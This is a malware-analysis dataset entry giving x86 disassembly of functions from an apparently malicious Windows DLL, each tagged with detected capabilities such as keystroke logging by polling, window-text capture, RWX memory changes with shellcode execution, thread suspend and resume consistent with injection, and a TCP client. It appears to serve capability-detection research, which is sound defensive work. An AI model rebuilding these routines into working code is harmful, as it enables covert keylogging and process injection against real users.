joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100138d4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [edi + 0x3c]
and dword [ebp - 0x14], 0
add eax, edi
cmp word [eax + 4], 0x14c
jne 0x100138f0
add eax, 0x78
jmp 0x100138f5
add eax, 0x88
mov ecx, dword [eax]
test ecx, ecx
push ebx
lea ebx, [ecx + edi]
je 0x100139f2
cmp dword [eax + 4], 0
je 0x100139f2
mov eax, dword [ebx + 0x1c]
test eax, eax
je 0x100139f2
mov ecx, dword [ebx + 0x14]
test ecx, ecx
je 0x100139f2
mov edx, dword [ebp + 8]
test edx, edx
push esi
lea esi, [eax + edi]
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], edx
je 0x10013941
cmp edx, 0xffff
ja 0x10013941
mov dword [ebp - 0xc], ecx
jmp 0x1001394b
mov eax, dword [ebx + 0x18]
and dword [ebp - 4], 0
mov dword [ebp - 0xc], eax
mov eax, dword [ebx + 0x24]
test eax, eax
je 0x100139e3
mov esi, dword [ebx + 0x20]
and dword [ebp - 8], 0
add eax, edi
add esi, edi
cmp dword [ebp - 0xc], 0
mov dword [ebp - 0x10], eax
jbe 0x100139f1
cmp dword [ebp - 4], 0
je 0x1001397f
movzx eax, word [eax]
add eax, dword [ebx + 0x10]
cmp dword [ebp - 4], eax
jmp 0x100139ab
mov eax, dword [esi]
add eax, edi
test edx, edx
je 0x10013993
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jmp 0x100139ab
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [esi]
push eax
add edx, edi
xor eax, eax
call fcn.10014918
not eax
cmp dword [ebp + 0xc], eax
mov eax, dword [ebp - 0x10]
je 0x100139c8
add esi, 4
inc eax
inc eax
inc dword [ebp - 8]
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
jae 0x100139f1
mov edx, dword [ebp + 8]
jmp 0x1001396e
movzx eax, word [eax]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x100139f1
mov ecx, dword [esi]
add ecx, edi
mov dword [eax], ecx
jmp 0x100139f1
mov eax, dword [ebp - 4]
test eax, eax
je 0x100139f1
lea eax, [esi + eax*4 - 4]
mov dword [ebp - 0x14], eax
pop esi
mov eax, dword [ebp - 0x14]
pop ebx
leave
ret 0xc

Function at 0x10013aaf
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [eax + ecx + 0x18]
movzx eax, word [ecx + 6]
push ebx
push esi
mov dword [ebp - 4], eax
xor eax, eax
push edi
mov edi, dword [edx + 0xc]
cmp dword [ebp + 8], edi
jb 0x10013aea
mov esi, dword [ecx + 0x3c]
mov ebx, dword [edx + 0x10]
lea ebx, [ebx + esi - 1]
dec esi
not esi
and ebx, esi
add ebx, edi
cmp dword [ebp + 8], ebx
jb 0x10013afc
add dword [ebp - 4], 0xffff
add edx, 0x28
cmp word [ebp - 4], ax
jne 0x10013acc
jmp 0x10013b04
mov eax, dword [edx + 0x14]
sub eax, edi
add eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10014611
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
push 0x1003f86a
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx edx, word [ecx + 0x14]
lea edx, [edx + ecx + 0x18]
movzx ecx, word [ecx + 6]
test ecx, ecx
je 0x10014650
test dword [edx + 0x24], 0x80000000
jne 0x100146fa
add edx, 0x28
dec ecx
jne 0x1001463d
xor ecx, ecx
and dword [esp + 0x14], 0
test ecx, ecx
je 0x100146ef
mov esi, dword [ecx + 0xc]
and dword [esp + 0x10], 0
add esi, eax
mov eax, dword [ecx + 8]
lea ebx, [eax + esi - 8]
xor eax, eax
lea edi, [esp + 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x18]
mov dword [esp + 0x20], 0x10014604
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], eax
cmp esi, ebx
ja 0x100146ef
mov eax, dword [esi]
cmp eax, esi
jne 0x100146e5
cmp eax, dword [esi + 4]
jne 0x100146e5
mov dword [esp + 0x18], eax
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], esi
mov dword [eax + 4], ecx
mov eax, ecx
push 0x1003fb4d
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x100146cd
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov dword [eax + 4], ecx
cmp dword [esp + 0x10], 0
je 0x100146e5
mov dword [esp + 0x14], esi
add esi, 8
cmp dword [esp + 0x10], 0
je 0x10014695
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, edx
jmp 0x10014652

Function at 0x10014701
Capabilities:
Check os version

Disassembly:
push ebx
xor ebx, ebx
inc ebx
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x1001473b
push 0x10040078
push 0x1003f86a
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10014788
push esi
push edi
push 0x10011c65
push 0
call eax
test eax, eax
jne 0x10014788
jmp 0x10014781
cmp dword [0x1003e2e4], 0
jne 0x10014752
call fcn.10014611
test eax, eax
mov dword [0x1003e2e4], eax
je 0x10014788
push 0x10
call fcn.100012ea
test eax, eax
je 0x10014785
mov ecx, dword [0x1003e2e4]
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [eax + 8], 0x10011c65
mov dword [eax + 0xc], edi
mov dword [esi], eax
mov edx, dword [ecx + 4]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov dword [edx], eax
mov dword [ecx + 4], eax
xor ebx, ebx
jmp 0x10014788
push 8
pop ebx
mov eax, ebx
pop ebx
ret

Function at 0x100148b4
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, dword [0x1003e218]
xor esi, esi
xor ebx, ebx
mov eax, dword [edx]
inc ebx
mov cl, bl
rol eax, cl
xor eax, esi
xor eax, edi
mov esi, eax
mov dword [edx], esi
add edx, 4
dec dword [esp + 0x10]
jne 0x100148c1
pop edi
pop esi
pop ebx
ret 4
Function at 0x10014918
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
je 0x10014961
cmp dword [esp + 4], 0
not eax
je 0x1001495d
push esi
mov cl, byte [edx]
dec dword [esp + 8]
movzx ecx, cl
mov esi, ecx
xor esi, eax
and esi, 0xf
shr eax, 4
xor eax, dword [esi*4 + 0x10039c88]
shr ecx, 4
mov esi, eax
and esi, 0xf
xor ecx, esi
shr eax, 4
xor eax, dword [ecx*4 + 0x10039c88]
inc edx
cmp dword [esp + 8], 0
jne 0x10014926
pop esi
not eax
jmp 0x10014963
xor eax, eax
ret 4

Function at 0x10015206
Capabilities:
Hash data with md5

Disassembly:
and dword [eax + 0x14], 0
and dword [eax + 0x10], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x10019e81
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push dword [ebp + 0xc]
xor ebx, ebx
push dword [ebp + 8]
call esi
test eax, eax
je 0x10019ed4
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10012c80
test eax, eax
je 0x10019ec3
cmp dword [ebp - 8], 4
jne 0x10019ec3
inc ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop esi
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x1001a56e
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4f8
or dword [esp + 0xc], 0xffffffff
push ebx
push esi
xor ebx, ebx
push 0x4c8
lea eax, [esp + 0x3c]
push ebx
push eax
mov dword [esp + 0x34], 0xccccfeeb
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
call sub.ntdll.dll_memset
add esp, 0xc
call fcn.100122ee
mov esi, eax
lea eax, [esp + 0x18]
push eax
push dword [edi]
mov dword [esp + 0x68], 0x100003
call fcn.1001a3f3
test eax, eax
jl 0x1001a6a8
lea eax, [esp + 0x20]
push eax
push 4
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [edi]
call fcn.100120b1
test eax, eax
je 0x1001a6a8
cmp dword [esp + 0x20], 4
jne 0x1001a6a8
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [edi]
call fcn.1001a306
test eax, eax
je 0x1001a6a8
lea eax, [esp + 0x30]
cdq
mov dword [esp + 0x14], 0x1388
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], edx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [esp + 0x24]
mov eax, dword [edi + 4]
push dword [esp + 0x24]
sub dword [esp + 0x1c], 0x64
cdq
push edx
push eax
push ebx
push 2
push dword [esi + 4]
push dword [esi]
call fcn.10036dc0
add esp, 0x20
cmp dword [esp + 0x14], ebx
jle 0x1001a685
mov eax, dword [esp + 0x128]
cmp eax, dword [esp + 0x18]
jne 0x1001a628
mov eax, dword [esp + 0x12c]
cmp eax, dword [esp + 0x1c]
jne 0x1001a628
mov esi, dword [ebp + 8]
push ebx
push ebx
push edi
call fcn.1001a103
mov dword [esp + 0x14], eax
lea eax, [esp + 0x2c]
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [edi]
call fcn.1001a306
mov eax, dword [esp + 0x14]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1001a6b4
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2ec
push ebx
push esi
push edi
xor esi, esi
push 0x2c8
mov edi, eax
lea eax, [esp + 0x30]
push esi
push eax
mov dword [esp + 0x34], esi
call sub.ntdll.dll_memset
mov ebx, dword [edi]
add esp, 0xc
push esi
mov eax, ebx
mov dword [esp + 0x28], 0xccccfeeb
mov dword [esp + 0x1c], esi
call fcn.10011ee5
test eax, eax
je 0x1001a7e7
mov dword [esp + 0x18], 0x10
mov eax, dword [ebp + 0x10]
cmp eax, esi
mov dword [esp + 0x28], 0x10007
mov dword [esp + 0x10], eax
jne 0x1001a722
push dword [edi]
call fcn.10019edc
mov dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push eax
push 4
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x1c]
push ebx
call fcn.10012c54
test eax, eax
je 0x1001a7c5
cmp dword [esp + 0x1c], 4
jne 0x1001a7c5
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x14]
push ebx
call fcn.10019e81
test eax, eax
je 0x1001a7c5
mov dword [esp + 0x14], 0x1388
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
sub dword [esp + 0x14], 0x64
lea eax, [esp + 0x28]
push eax
push dword [edi + 4]
call fcn.10012c33
cmp dword [esp + 0x14], esi
jle 0x1001a7a1
mov eax, dword [esp + 0x10]
cmp dword [esp + 0xe0], eax
jne 0x1001a762
push esi
push dword [esp + 0x1c]
mov esi, dword [ebp + 8]
push edi
call fcn.1001a103
mov esi, eax
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x14]
push ebx
call fcn.10019e81
cmp esi, 0xffffffff
jne 0x1001a7cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test byte [ebp + 0xc], 4
jne 0x1001a7dc
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
test byte [0x1003e264], 1
je 0x1001a704
push dword [ebp + 8]
call fcn.1001a56e
mov esi, eax
jmp 0x1001a7c0

Function at 0x1001aeac
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x40
xor ecx, ecx
push ecx
push 2
xor eax, eax
mov dword [ebp - 0xc], ecx
lea edi, [ebp - 8]
stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push ecx
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 4], ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
push eax
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
pop edi
leave
ret 0xc
Function at 0x1001b207
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x1c
mov edx, ebx
xor eax, eax
mov dword [ebp + 8], 8
call fcn.10014918
lea ecx, [ebp - 4]
not eax
push ecx
push eax
mov eax, dword [0x1003e344]
call fcn.1001c2c0
test eax, eax
jne 0x1001b23c
xor edi, edi
jmp 0x1001b23f
mov edi, dword [ebp - 4]
test edi, edi
je 0x1001b343
mov eax, dword [edi + 0x4a18]
push esi
xor esi, esi
inc esi
test eax, eax
mov dword [ebp - 8], eax
jne 0x1001b2a9
push dword [ebx]
push eax
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp - 4], eax
je 0x1001b287
push 0x104
lea ecx, [edi + 0x10]
push ecx
push 0
push eax
call sub.PSAPI.DLL_GetModuleFileNameExW
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
mov dword [edi + 0x4a1c], esi
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0x400
lea eax, [edi + 0x218]
push eax
push dword [ebx + 0x10]
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor edx, edx
cmp dword [edi + 0x4a1c], edx
mov dword [edi + 0x4a18], esi
je 0x1001b32c
movzx ecx, word [ebx + 0x20]
cmp cx, dx
je 0x1001b2ec
mov eax, dword [edi + 8]
cmp eax, 0x2000
jae 0x1001b2ec
cmp cx, 8
jne 0x1001b2dc
cmp eax, edx
je 0x1001b2e7
dec eax
mov dword [edi + 8], eax
jmp 0x1001b2e7
mov word [edi + eax*2 + 0xa18], cx
inc dword [edi + 8]
mov dword [ebp + 8], edx
jmp 0x1001b2f3
mov dword [ebp + 8], 0x6f
cmp dword [ebx + 0x22], edx
je 0x1001b32c
push 0x14
call fcn.100012ea
mov esi, eax
test esi, esi
je 0x1001b32c
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov eax, dword [ebx + 0x22]
mov dword [esi + 0x10], eax
and dword [ebx + 0x22], 0
lea eax, [edi + 0x4a20]
mov ecx, dword [eax + 4]
mov dword [esi], eax
mov dword [esi + 4], ecx
mov dword [ecx], esi
mov dword [eax + 4], esi
cmp dword [ebp - 8], 0
pop esi
je 0x1001b343
push 0
push dword [0x1003e344]
lea eax, [edi - 0x1c]
call fcn.1001c3ac
mov eax, dword [ebp + 8]
pop edi
pop ebx
leave
ret 4
Function at 0x1001b57d
Capabilities:
Get graphical window text

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x88
push ebx
push esi
xor ebx, ebx
push edi
mov dword [ebp + 0x64], ebx
mov dword [ebp + 0x68], ebx
mov esi, 0x80
mov eax, dword [ebx + 0x1003d064]
cmp eax, dword [ebp + 0x74]
jne 0x1001b5df
cmp dword [ebx + 0x1003d068], 0
je 0x1001b5ef
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x78]
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edi, eax
test edi, edi
jle 0x1001b5ef
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push edi
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10014918
not eax
cmp eax, dword [ebx + 0x1003d068]
je 0x1001b5ef
inc dword [ebp + 0x68]
add ebx, 0x14
cmp ebx, 0x3c
jb 0x1001b598
jmp 0x1001b6b4
mov edi, dword [ebp + 0x68]
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextA]
imul edi, edi, 0x14
cmp dword [edi + 0x1003d070], 0
je 0x1001b636
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x78]
call ebx
test eax, eax
mov dword [ebp + 0x78], eax
jle 0x1001b636
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push dword [ebp + 0x78]
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10014918
not eax
cmp eax, dword [edi + 0x1003d070]
jne 0x1001b6b4
cmp dword [edi + 0x1003d06c], 0
je 0x1001b675
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x7c]
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
mov dword [ebp + 0x78], eax
jle 0x1001b675
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push dword [ebp + 0x78]
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10014918
not eax
cmp eax, dword [edi + 0x1003d06c]
jne 0x1001b6b4
cmp dword [edi + 0x1003d074], 0
je 0x1001b6ad
push esi
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x7c]
call ebx
mov esi, eax
test esi, esi
jle 0x1001b6ad
lea eax, [ebp - 0x1c]
push eax
call sub.ntdll.dll__strupr
pop ecx
push esi
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.10014918
not eax
cmp eax, dword [edi + 0x1003d074]
jne 0x1001b6b4
mov dword [ebp + 0x64], 1
mov eax, dword [ebp + 0x64]
pop edi
pop esi
pop ebx
add ebp, 0x6c
leave
ret 0xc
Function at 0x1001b6fd
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor edx, edx
push 8
xor eax, eax
mov dword [ebp - 0x30], edx
pop ecx
lea edi, [ebp - 0x2c]
rep stosd dword es:[edi], eax
mov esi, 0x100
cmp dword [ebp + 0xc], esi
mov dword [ebp + 8], edx
stosw word es:[edi], ax
jne 0x1001b837
push 0x26
push edx
lea eax, [ebp - 0x30]
push eax
call sub.ntdll.dll_memset
push esi
lea eax, [ebp - 0x130]
push 0
push eax
call sub.ntdll.dll_memset
add esp, 0x18
push 3
push ebx
call dword [sym.imp.USER32.dll_GetAncestor]
test eax, eax
jne 0x1001b75b
mov eax, ebx
mov ecx, dword [ebp + 0x18]
mov esi, dword [ebp + 0x1c]
push eax
push ebx
push dword [ebp + 0x20]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], eax
call fcn.1001b57d
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x1001b837
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov esi, dword [sym.imp.USER32.dll_GetAsyncKeyState]
push 0xa0
mov edi, eax
call esi
push 0xa1
shr eax, 8
mov byte [ebp - 0x90], al
call esi
push 0x10
shr eax, 8
mov byte [ebp - 0x8f], al
call esi
and word [ebp - 8], 0
push edi
push 0
push 3
shr eax, 8
mov byte [ebp - 0x120], al
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x130]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001b830
test esi, esi
je 0x1001b816
xor edi, edi
test esi, esi
jle 0x1001b830
mov ax, word [ebp + edi*2 - 8]
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x30]
push eax
call fcn.1001b207
inc edi
cmp edi, esi
jl 0x1001b7fd
jmp 0x1001b830
mov ecx, dword [ebp + 0x10]
call fcn.1001b6c1
test ax, ax
mov word [ebp - 0x10], ax
je 0x1001b830
lea eax, [ebp - 0x30]
push eax
call fcn.1001b207
mov dword [ebp + 8], 1
cmp dword [ebp - 0xe], 0
pop edi
pop esi
pop ebx
je 0x1001b848
push dword [ebp - 0xe]
call fcn.100012ff
mov eax, dword [ebp + 8]
leave
ret 0x1c
Function at 0x1001b84f
Capabilities:
Create thread

Disassembly:
push 0x1001b124
push 0x1001b10c
push 0x4a28
push 0x1003e344
call fcn.1001c1db
test eax, eax
jne 0x1001b8f0
mov ecx, dword [0x1003e344]
or dword [ecx + 0x24], 3
test eax, eax
jne 0x1001b8f0
push esi
push edi
mov esi, 0x1003e3c4
mov dword [0x1003e3c4], 0x1001bedd
mov dword [0x1003e3d0], 0x1001bf0f
call fcn.1001bc42
xor edi, edi
mov dword [0x1003e3e4], 0x1001c0ea
mov dword [0x1003e3f0], 0x1001c13a
mov dword [0x1003e3e8], 0x1001c155
inc edi
mov dword [0x1003e3f4], edi
mov esi, 0x1003e3e0
call fcn.1001bc42
mov dword [0x1003e3b4], 0x1001bd39
mov esi, 0x1003e3ac
mov dword [0x1003e3c0], edi
call fcn.1001bc42
pop edi
pop esi
jmp 0x1001bcdf
ret
push esi
xor esi, esi
cmp dword [0x1003e3a7], esi
mov dword [0x1003e35c], esi
je 0x1001bd35
cmp dword [0x1003e350], esi
jne 0x1001bd35
push esi
push esi
push 1
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
cmp eax, esi
mov dword [0x1003e350], eax
je 0x1001bd2d
push 0x1003e354
push esi
push 0x1003e350
push 0x1001bb0d
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
mov dword [0x1003e358], eax
jne 0x1001bd35
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
pop esi
ret
Function at 0x1001c70e
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push edi
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x10], bl
lea edi, [ebp - 0xf]
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
mov word [ebp - 0x20], bx
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [esi + 0x18]
push 8
pop eax
call fcn.1001cfad
mov edi, eax
cmp edi, ebx
jne 0x1001c7e8
cmp byte [ebp - 8], 1
push 0x57
pop edi
je 0x1001c75e
cmp byte [ebp - 8], 2
jne 0x1001c7e8
cmp byte [ebp - 1], bl
je 0x1001c781
push ebx
push 1
lea eax, [ebp - 1]
push eax
push dword [esi + 0x18]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1001c77c
cmp byte [ebp - 1], bl
jne 0x1001c763
cmp byte [ebp - 1], bl
jne 0x1001c7e8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
lea edi, [esi + 0x1c]
mov dword [edi], eax
je 0x1001c7ee
mov cx, word [ebp - 7]
mov word [ebp - 0x1e], cx
mov ecx, dword [ebp - 5]
mov dword [ebp - 0x1c], ecx
push 0x10
lea ecx, [ebp - 0x20]
push ecx
push eax
mov word [ebp - 0x20], 2
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1001c7c0
xor edi, edi
jmp 0x1001c7fa
push edi
call fcn.1001c87a
mov edi, 0x4d0
mov byte [ebp - 0xf], 0x5b
push ebx
push 8
lea eax, [ebp - 0x10]
push eax
push dword [esi + 0x18]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x1001c7e8
mov edi, 0x4d4
mov eax, edi
pop edi
pop ebx
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, ebx
jne 0x1001c7cb
mov byte [ebp - 0xf], 0x5a
jmp 0x1001c7cf
Function at 0x1001cc70
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
xor ebx, ebx
push 0x2d
mov edi, eax
mov dword [ebp - 4], 8
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 0x2710
mov dword [ebp - 0x10], 0x3e8
mov dword [ebp - 0xc], 0x493e0
mov dword [ebp - 8], ebx
call fcn.100012ea
mov esi, eax
cmp esi, ebx
je 0x1001cd91
push 0x2d
push ebx
push esi
call sub.ntdll.dll_memset
or dword [esi + 0x18], 0xffffffff
or dword [esi + 0x1c], 0xffffffff
add esp, 0xc
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push 0xc
lea eax, [ebp - 0x18]
push eax
push 0x98000004
push dword [ebp + 8]
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 0xc], edi
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x1001cd8c
cmp dword [edi + 0x30], ebx
je 0x1001cd16
push 4
lea eax, [ebp - 0xc]
push eax
push 0x1006
push 0xffff
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x1001cd8c
push dword [ebp + 8]
push esi
call dword [edi + 0x24]
cmp eax, ebx
mov dword [ebp - 4], eax
jne 0x1001cd8c
mov eax, dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [esi + 0x18], eax
lea eax, [edi + 8]
push eax
mov dword [ebp + 8], eax
call ebx
mov eax, dword [edi + 4]
push dword [ebp + 8]
mov dword [esi], edi
mov dword [esi + 4], eax
mov dword [eax], esi
mov dword [edi + 4], esi
mov edi, dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call edi
push 0x10
push esi
push 0x1001c8e4
call dword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
test eax, eax
jne 0x1001cd82
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp + 8]
mov dword [ebp - 4], eax
call ebx
mov eax, dword [esi]
mov ecx, dword [esi + 4]
push dword [ebp + 8]
mov dword [ecx], eax
mov dword [eax + 4], ecx
call edi
jmp 0x1001cd86
and dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x1001cd91
call fcn.1001c8a2
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x1001cfad
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, eax
xor esi, esi
push 0
push edi
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x1001cff5
cmp eax, 0xffffffff
jne 0x1001cfe9
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x1001cffa
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
jmp 0x1001cfef
sub edi, eax
add dword [esp + 0x10], eax
test edi, edi
jne 0x1001cfb3
jmp 0x1001cffa
mov esi, 0x4d4
pop edi
mov eax, esi
pop esi
ret 8